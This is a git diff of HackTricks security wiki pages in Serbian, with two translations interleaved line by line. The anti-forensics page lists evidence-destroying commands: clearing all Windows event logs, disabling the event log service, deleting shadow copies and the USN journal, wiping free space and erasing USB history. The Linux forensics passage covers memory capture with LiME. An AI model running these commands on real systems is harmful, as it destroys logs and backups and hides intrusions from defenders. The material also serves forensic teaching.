Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,162 +1,179 @@
# Anti-Forenske Tehnike # Anti-Forensic Techniques
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Vremenske Oznake ## Timestamps
Napadač može biti zainteresovan za **menjanje vremenskih oznaka fajlova** kako bi izbegao otkrivanje.\ Napadač može biti zainteresovan za **promenu vremenskih oznaka datoteka** kako bi izbegao otkrivanje.\
Moguće je pronaći vremenske oznake unutar MFT-a u atributima `$STANDARD_INFORMATION` i `$FILE_NAME`. Moguće je pronaći vremenske oznake unutar MFT u atributima `$STANDARD_INFORMATION` \_\_ i \_\_ `$FILE_NAME`.
Oba atributa imaju 4 vremenske oznake: **Modifikacija**, **pristup**, **kreacija** i **modifikacija MFT registra** (MACE ili MACB). Oba atributa imaju 4 vremenske oznake: **Modifikacija**, **pristup**, **kreiranje** i **modifikacija MFT registra** (MACE ili MACB).
**Windows explorer** i drugi alati prikazuju informacije iz **`$STANDARD_INFORMATION`**. **Windows explorer** i drugi alati prikazuju informacije iz **`$STANDARD_INFORMATION`**.
### TimeStomp - Anti-forenzički Alat ### TimeStomp - Anti-forensic Tool
Ovaj alat **menja** informacije o vremenskim oznakama unutar **`$STANDARD_INFORMATION`** **ali ne** informacije unutar **`$FILE_NAME`**. Stoga je moguće **identifikovati sumnjivu aktivnost**. Ovaj alat **modifikuje** informacije o vremenskim oznakama unutar **`$STANDARD_INFORMATION`** **ali** **ne** informacije unutar **`$FILE_NAME`**. Stoga, moguće je **identifikovati** **sumnjivu** **aktivnost**.
### Usnjrnl ### Usnjrnl
**USN Journal** (Update Sequence Number Journal) je funkcija NTFS-a (Windows NT fajl sistem) koja prati promene na volumenu. Alat [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) omogućava pregled ovih promena. **USN Journal** (Dnevnik broja ažuriranja) je funkcija NTFS (Windows NT datotečni sistem) koja prati promene na volumenu. Alat [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) omogućava ispitivanje ovih promena.
![](<../../.gitbook/assets/image (801).png>) ![](<../../.gitbook/assets/image (801).png>)
Prethodna slika je **izlaz** prikazan od strane **alata** gde se može primetiti da su neke **promene izvršene** na fajlu. Prethodna slika je **izlaz** prikazan od strane **alata** gde se može primetiti da su neke **promene izvršene** na datoteci.
### $LogFile ### $LogFile
**Sve promene metapodataka na fajl sistemu se beleže** u procesu poznatom kao [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead\_logging). Beleženi metapodaci se čuvaju u fajlu nazvanom `**$LogFile**`, smeštenom u korenom direktorijumu NTFS fajl sistema. Alati poput [LogFileParser](https://github.com/jschicht/LogFileParser) se mogu koristiti za parsiranje ovog fajla i identifikaciju promena. **Sve promene metapodataka na datotečnom sistemu se beleže** u procesu poznatom kao [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Beleženi metapodaci se čuvaju u datoteci nazvanoj `**$LogFile**`, koja se nalazi u korenskom direktorijumu NTFS datotečnog sistema. Alati kao što su [LogFileParser](https://github.com/jschicht/LogFileParser) mogu se koristiti za analizu ove datoteke i identifikaciju promena.
![](<../../.gitbook/assets/image (137).png>) ![](<../../.gitbook/assets/image (137).png>)
Ponovo, u izlazu alata je moguće videti da su **neke promene izvršene**. Ponovo, u izlazu alata moguće je videti da su **neke promene izvršene**.
Korišćenjem istog alata moguće je identifikovati **u koje vreme su vremenske oznake modifikovane**: Korišćenjem istog alata moguće je identifikovati **na koji način su vremenske oznake modifikovane**:
![](<../../.gitbook/assets/image (1089).png>) ![](<../../.gitbook/assets/image (1089).png>)
* CTIME: Vreme kreiranja fajla * CTIME: Vreme kreiranja datoteke
* ATIME: Vreme modifikacije fajla * ATIME: Vreme modifikacije datoteke
* MTIME: Modifikacija MFT registra fajla * MTIME: Modifikacija registra MFT datoteke
* RTIME: Vreme pristupa fajlu * RTIME: Vreme pristupa datoteci
### Poređenje `$STANDARD_INFORMATION` i `$FILE_NAME` ### `$STANDARD_INFORMATION` i `$FILE_NAME` poređenje
Još jedan način identifikovanja sumnjivih modifikovanih fajlova bi bilo upoređivanje vremena na oba atributa u potrazi za **neslaganjima**. Još jedan način da se identifikuju sumnjivo modifikovane datoteke bio bi da se uporede vremena na oba atributa tražeći **neusklađenosti**.
### Nanosekunde ### Nanoseconds
**NTFS** vremenske oznake imaju **preciznost** od **100 nanosekundi**. Zato je veoma sumnjivo pronaći fajlove sa vremenskim oznakama poput 2010-10-10 10:10:**00.000:0000**. **NTFS** vremenske oznake imaju **preciznost** od **100 nanosekundi**. Stoga, pronalaženje datoteka sa vremenskim oznakama poput 2010-10-10 10:10:**00.000:0000 je veoma sumnjivo**.
### SetMace - Anti-forenzički Alat ### SetMace - Anti-forensic Tool
Ovaj alat može modifikovati oba atributa `$STARNDAR_INFORMATION` i `$FILE_NAME`. Međutim, od Windows Vista, potrebno je da operativni sistem bude aktivan da bi se modifikovale ove informacije. Ovaj alat može modifikovati oba atributa `$STARNDAR_INFORMATION` i `$FILE_NAME`. Međutim, od Windows Vista, potrebno je da živi OS modifikuje ove informacije.
## Skrivanje Podataka ## Data Hiding
NTFS koristi klaster i minimalnu veličinu informacija. To znači da ako fajl zauzima klaster i pola, **preostala polovina nikada neće biti korišćena** dok fajl ne bude obrisan. Zato je moguće **sakriti podatke u ovom praznom prostoru**. NFTS koristi klaster i minimalnu veličinu informacija. To znači da ako datoteka koristi klaster i po, **preostala polovina nikada neće biti korišćena** dok se datoteka ne obriše. Stoga, moguće je **sakriti podatke u ovom slobodnom prostoru**.
Postoje alati poput slacker koji omogućavaju skrivanje podataka u ovom "skrivenom" prostoru. Međutim, analiza `$logfile` i `$usnjrnl` može pokazati da su dodati neki podaci: Postoje alati poput slacker koji omogućavaju skrivanje podataka u ovom "skrivenom" prostoru. Međutim, analiza `$logfile` i `$usnjrnl` može pokazati da su neki podaci dodati:
![](<../../.gitbook/assets/image (1060).png>) ![](<../../.gitbook/assets/image (1060).png>)
Zato je moguće povratiti prazan prostor korišćenjem alata poput FTK Imager. Imajte na umu da ovaj tip alata može sačuvati sadržaj zamućen ili čak šifrovan. Stoga, moguće je povratiti slobodan prostor koristeći alate poput FTK Imager. Imajte na umu da ovaj tip alata može sačuvati sadržaj obfuskovan ili čak enkriptovan.
## UsbKill ## UsbKill
Ovo je alat koji će **isključiti računar ako se detektuje bilo kakva promena u USB** portovima.\ Ovo je alat koji će **isključiti računar ako se otkrije bilo kakva promena na USB** portovima.\
Način da se ovo otkrije bi bilo inspekcijom pokrenutih procesa i **pregled svakog Python skripta koji se izvršava**. Jedan od načina da se to otkrije bio bi da se ispita pokrenuti procesi i **pregleda svaki python skript koji se izvršava**.
## Distrobucije Live Linux-a ## Live Linux Distributions
Ove distribucije se **izvršavaju unutar RAM** memorije. Jedini način da se otkriju je **u slučaju da je NTFS fajl-sistem montiran sa dozvolama za pisanje**. Ako je montiran samo sa dozvolama za čitanje, neće biti moguće otkriti upad. Ove distribucije se **izvršavaju unutar RAM** memorije. Jedini način da ih otkrijete je **ako je NTFS datotečni sistem montiran sa pravima za pisanje**. Ako je montiran samo sa pravima za čitanje, neće biti moguće otkriti upad.
## Bezbedno Brisanje ## Secure Deletion
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
## Windows Konfiguracija ## Windows Configuration
Moguće je onemogućiti nekoliko metoda beleženja Windows-a kako bi forenzička istraga bila mnogo teža. Moguće je onemogućiti nekoliko metoda beleženja u Windows-u kako bi se forenzička istraga učinila mnogo težom.
### Onemogući Vremenske Oznake - UserAssist ### Disable Timestamps - UserAssist
Ovo je registarski ključ koji čuva datume i sate kada je svaki izvršni fajl pokrenut od strane korisnika. Ovo je ključ registra koji održava datume i sate kada je svaki izvršni program pokrenut od strane korisnika.
Onemogućavanje UserAssist-a zahteva dva koraka: Onemogućavanje UserAssist zahteva dva koraka:
1. Postavite dva registarska ključa, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na nulu kako biste signalizirali da želite onemogućiti UserAssist. 1. Postavite dva ključa registra, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na nulu kako bi se signalizovalo da želimo da onemogućimo UserAssist.
2. Očistite podstabla registra koja izgledaju kao `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`. 2. Očistite svoje podključeve registra koji izgledaju kao `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
### Onemogući Vremenske Oznake - Prefetch ### Disable Timestamps - Prefetch
Ovo će sačuvati informacije o aplikacijama koje su izvršene sa ciljem poboljšanja performansi Windows sistema. Međutim, ovo može biti korisno i za forenzičke prakse. Ovo će sačuvati informacije o aplikacijama koje su izvršene sa ciljem poboljšanja performansi Windows sistema. Međutim, ovo može biti korisno i za forenzičke prakse.
* Izvršite `regedit` * Izvršite `regedit`
* Izaberite putanju fajla `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` * Izaberite putanju datoteke `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
* Desni klik na `EnablePrefetch` i `EnableSuperfetch` * Desni klik na `EnablePrefetcher` i `EnableSuperfetch`
* Izaberite Izmeni na svakom od njih da promenite vrednost sa 1 (ili 3) na 0 * Izaberite Izmeni na svakom od ovih da promenite vrednost sa 1 (ili 3) na 0
* Ponovo pokrenite računar * Restartujte
### Onemogući Vremenske Oznake - Vreme Poslednjeg Pristupa ### Disable Timestamps - Last Access Time
Kada se otvori folder sa NTFS volumena na Windows NT serveru, sistem uzima vreme da **ažurira polje vremenske oznake na svakom navedenom folderu**, nazvano vreme poslednjeg pristupa. Na veoma korišćenom NTFS volumenu, ovo može uticati na performanse. Kad god se folder otvori sa NTFS volumena na Windows NT serveru, sistem uzima vreme da **ažurira polje vremenske oznake na svakom navedenom folderu**, koje se naziva vreme poslednjeg pristupa. Na NTFS volumenu koji se često koristi, ovo može uticati na performanse.
1. Otvorite Registry Editor (Regedit.exe). 1. Otvorite Registry Editor (Regedit.exe).
2. Pretražite `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. 2. Pretražite do `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Potražite `NtfsDisableLastAccessUpdate`. Ako ne postoji, dodajte ovaj DWORD i postavite vrednost na 1, što će onemogućiti proces. 3. Potražite `NtfsDisableLastAccessUpdate`. Ako ne postoji, dodajte ovaj DWORD i postavite njegovu vrednost na 1, što će onemogućiti proces.
4. Zatvorite Registry Editor i ponovo pokrenite server. 4. Zatvorite Registry Editor i restartujte server.
### Obriši USB istoriju
Svi **unosu uređaja USB-a** se čuvaju u Windows registru pod ključem **USBSTOR** koji sadrži podključeve koji se kreiraju svaki put kada priključite USB uređaj na računar ili laptop. Možete pronaći ovaj ključ ovde `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Brisanjem ovoga** ćete obrisati USB istoriju.\ ### Delete USB History
Sve **USB Device Entries** se čuvaju u Windows Registry pod ključem **USBSTOR** koji sadrži podključeve koji se kreiraju svaki put kada priključite USB uređaj u svoj PC ili laptop. Ovaj ključ možete pronaći ovde H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Brisanjem ovog** obrišete USB istoriju.\
Takođe možete koristiti alat [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) da biste bili sigurni da ste ih obrisali (i da ih obrišete). Takođe možete koristiti alat [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) da biste bili sigurni da ste ih obrisali (i da ih obrišete).
Drugi fajl koji čuva informacije o USB uređajima je fajl `setupapi.dev.log` unutar `C:\Windows\INF`. I ovaj fajl treba obrisati. Još jedna datoteka koja čuva informacije o USB-ima je datoteka `setupapi.dev.log` unutar `C:\Windows\INF`. Ova datoteka takođe treba da bude obrisana.
### Onemogući senke kopija ### Disable Shadow Copies
**Prikaži** senke kopija sa `vssadmin list shadowstorage`\ **List** shadow copies sa `vssadmin list shadowstorage`\
**Obriši** ih pokretanjem `vssadmin delete shadow` **Delete** ih pokretanjem `vssadmin delete shadow`
Takođe ih možete obrisati putem GUI prateći korake predložene na [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) Takođe ih možete obrisati putem GUI prateći korake predložene na [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Da biste onemogućili senke kopija [koristite korake odavde](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): Da biste onemogućili shadow copies [koraci odavde](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Otvorite program Services tako što ćete u tekstualno polje pretrage nakon klika na Windows start dugme ukucati "services". 1. Otvorite program Services tako što ćete otkucati "services" u tekstualnom pretraživaču nakon što kliknete na Windows dugme.
2. Iz liste pronađite "Volume Shadow Copy", izaberite ga, a zatim pristupite Properties opciji desnim klikom. 2. Sa liste, pronađite "Volume Shadow Copy", izaberite ga, a zatim pristupite Svojstvima desnim klikom.
3. Izaberite Disabled iz padajućeg menija "Startup type", a zatim potvrdite promenu klikom na Apply i OK. 3. Izaberite Onemogućeno iz padajućeg menija "Startup type", a zatim potvrdite promenu klikom na Primeni i U redu.
Takođe je moguće modifikovati konfiguraciju koje datoteke će biti kopirane u senki kopije u registru `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` Takođe je moguće modifikovati konfiguraciju koje datoteke će biti kopirane u shadow copy u registru `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
### Prepisi obrisane fajlove ### Overwrite deleted files
* Možete koristiti **Windows alat**: `cipher /w:C` Ovo će narediti cifri da ukloni sve podatke sa dostupnog neiskorišćenog prostora na disku C. * Možete koristiti **Windows alat**: `cipher /w:C` Ovo će označiti cipher da ukloni sve podatke iz dostupnog neiskorišćenog prostora na disku unutar C diska.
* Takođe možete koristiti alate poput [**Eraser**](https://eraser.heidi.ie) * Takođe možete koristiti alate poput [**Eraser**](https://eraser.heidi.ie)
### Obriši Windows događajne zapise ### Delete Windows event logs
* Windows + R --> eventvwr.msc --> Proširi "Windows Logs" --> Desni klik na svaku kategoriju i izaberi "Clear Log" * Windows + R --> eventvwr.msc --> Proširite "Windows Logs" --> Desni klik na svaku kategoriju i izaberite "Clear Log"
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
### Onemogući Windows događajne zapise ### Disable Windows event logs
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* Unutar sekcije servisa onemogućite servis "Windows Event Log" * Unutar sekcije servisa onemogućite servis "Windows Event Log"
* `WEvtUtil.exec clear-log` ili `WEvtUtil.exe cl` * `WEvtUtil.exec clear-log` ili `WEvtUtil.exe cl`
### Onemogući $UsnJrnl ### Disable $UsnJrnl
* `fsutil usn deletejournal /d c:` * `fsutil usn deletejournal /d c:`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Forenzika na Linuxu # Linux Forensics
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Inicijalno prikupljanje informacija ## Početno prikupljanje informacija
### Osnovne informacije ### Osnovne informacije
Pre svega, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno uzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib_ i _/lib64_), zatim montirajte USB, i izmenite env promenljive da biste koristili te binarne fajlove: Prvo, preporučuje se da imate neki **USB** sa **dobro poznatim binarnim datotekama i bibliotekama** (možete jednostavno uzeti ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB i modifikujte env varijable da koristite te binarne datoteke:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
Kada ste konfigurisali sistem da koristi dobre i poznate binarne datoteke, možete početi **izvlačiti osnovne informacije**: Kada konfigurišete sistem da koristi dobre i poznate binarne datoteke, možete početi sa **izvlačenjem nekih osnovnih informacija**:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
``` ```
#### Sumnjive informacije #### Sumnjive informacije
Prilikom dobijanja osnovnih informacija trebalo bi da proverite čudne stvari kao što su: Dok prikupljate osnovne informacije, trebali biste proveriti čudne stvari kao što su:
- **Root procesi** obično se izvršavaju sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om možete posumnjati * **Root procesi** obično se pokreću sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
- Proverite **registrovane prijave** korisnika bez shell-a unutar `/etc/passwd` * Proverite **registrovane prijave** korisnika bez shel-a unutar `/etc/passwd`
- Proverite **hash-ove lozinki** unutar `/etc/shadow` za korisnike bez shell-a * Proverite **hash-eve lozinke** unutar `/etc/shadow` za korisnike bez shel-a
### Damp memorije ### Dump memorije
Za dobijanje memorije pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\ Da biste dobili memoriju pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
Da biste ga **kompajlirali**, treba da koristite **isti kernel** koji koristi mašina žrtva. Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi žrtvinska mašina.
{% hint style="info" %} {% hint style="info" %}
Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će to izazvati nekoliko promena na njoj Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na žrtvinskoj mašini jer će to napraviti nekoliko promena na njoj
{% endhint %} {% endhint %}
Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\ Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\
U drugim slučajevima, morate preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa odgovarajućim kernel headerima. Da biste **dobili tačne kernel headere** mašine žrtve, jednostavno **kopirajte direktorijum** `/lib/modules/<verzija kernela>` na svoju mašinu, a zatim **kompajlirajte** LiME koristeći ih: U drugim slučajevima, potrebno je preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa ispravnim kernel header-ima. Da biste **dobili tačne kernel header-e** žrtvinske mašine, možete jednostavno **kopirati direktorijum** `/lib/modules/<kernel version>` na vašu mašinu, a zatim **kompajlirati** LiME koristeći ih:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
``` ```
LiME podržava 3 **formata**: LiME podržava 3 **formata**:
* Sirovi (svaki segment je konkateniran zajedno) * Raw (svaki segment spojен zajedno)
* Padded (isti kao sirovi, ali sa nulama na desnoj strani) * Padded (isto kao raw, ali sa nulama u desnim bitovima)
* Lime (preporučeni format sa metapodacima) * Lime (preporučeni format sa metapodacima)
LiME takođe može biti korišćen za **slanje ispisa putem mreže** umesto čuvanja na sistemu korišćenjem nečega poput: `path=tcp:4444` LiME se takođe može koristiti za **slanje dump-a putem mreže** umesto da se čuva na sistemu koristeći nešto poput: `path=tcp:4444`
### Snimanje slike diska ### Disk Imaging
#### Gašenje #### Isključivanje
Prvo, moraćete **isključiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da priušti da isključi.\ Prvo, potrebno je da **isključite sistem**. Ovo nije uvek opcija, jer ponekad sistem može biti produkcijski server koji kompanija ne može priuštiti da isključi.\
